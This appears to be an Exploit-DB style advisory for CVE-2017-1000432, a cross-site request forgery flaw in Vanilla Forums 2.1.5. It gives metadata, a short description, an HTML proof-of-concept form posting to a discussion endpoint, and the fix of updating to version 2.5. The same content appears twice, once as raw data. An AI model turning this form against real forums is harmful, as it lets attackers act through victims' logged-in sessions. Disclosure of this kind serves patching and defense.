CSRF vulnerabilities in Vanilla Forums below 2.1.5-CVE-2017-1000432

vendor:

Vanilla Forums

by:

Anand Meyyappan

8.0

CVSS

HIGH

Cross-Site Request Forgery (CSRF)

352

CWE

Product Name: Vanilla Forums

Affected Version From: 2.1.5

Affected Version To: 2.1.5

Patch Exists: YES

Related CWE: CVE-2017-1000432

CPE: a:vanilla_forums:vanilla_forums:2.1.5

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Windows, Linux

2017

CSRF vulnerabilities in Vanilla Forums below 2.1.5-CVE-2017-1000432

Any registered user can delete topics and comments in forum without having admin access. Save the below code in html format, Once victim is logged into account. Use the below code. <form method="post" action="https://www.site.com/forum/vanilla/discussion/dismissannouncement?discussionid=3709"><input name=" DeliveryType" value="VIEW" class="input" type="hidden"><input name=" DeliveryMethod" value="JSON" class="input" type="hidden"> <li><label><br></label><input value="Send" class="submit" type="submit"></li> </ul></form>

Mitigation:

Update to version 2.5

Source

Exploit-DB raw data:

# Exploit Title: CSRF vulnerabilities in Vanilla Forums below 2.1.5-CVE-2017-1000432
# Google Dork: NA
# Date: 7/1/2018
# Contact: https://twitter.com/anandm47
#   website: https://anandtechzone.blogspot.in <https://t.co/MJ8SoRaIMn>
# Exploit Author: Anand Meyyappan
# Vendor Homepage: https://open.vanillaforums.com <https://open.vanillaforums.com/discussion/28337/vanilla-2-1-5-released-and-2-0-18-14>
# Software Link: https://open.vanillaforums.com/addon/vanilla-core-2.1
# Tested on: Windows, Linux
# CVE : CVE-2017-1000432

Description


Any registered user can delete topics and comments in forum without having admin access.



2.Proof Of Concept



Save the below code in html format, Once victim is logged into account. Use the below code.

<form method="post" action="https://www.site.com/forum/vanilla/discussion/dismissannouncement?discussionid=3709"> 
<input name=" DeliveryType" value="VIEW" class="input" type="hidden"> 
<input name=" DeliveryMethod" value="JSON" class="input" type="hidden"> <li>
<label><br></label><input value="Send" class="submit" type="submit"></li> </ul> 
</form>

3. Solution:


Update to version 2.5

https://open.vanillaforums.com/get/vanilla-core-2.5



#Reference

https://open.vanillaforums.com/discussion/28337/vanilla-2-1-5-released-and-2-0-18-14
https://www.cvedetails.com/cve/CVE-2017-1000432/
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-1000432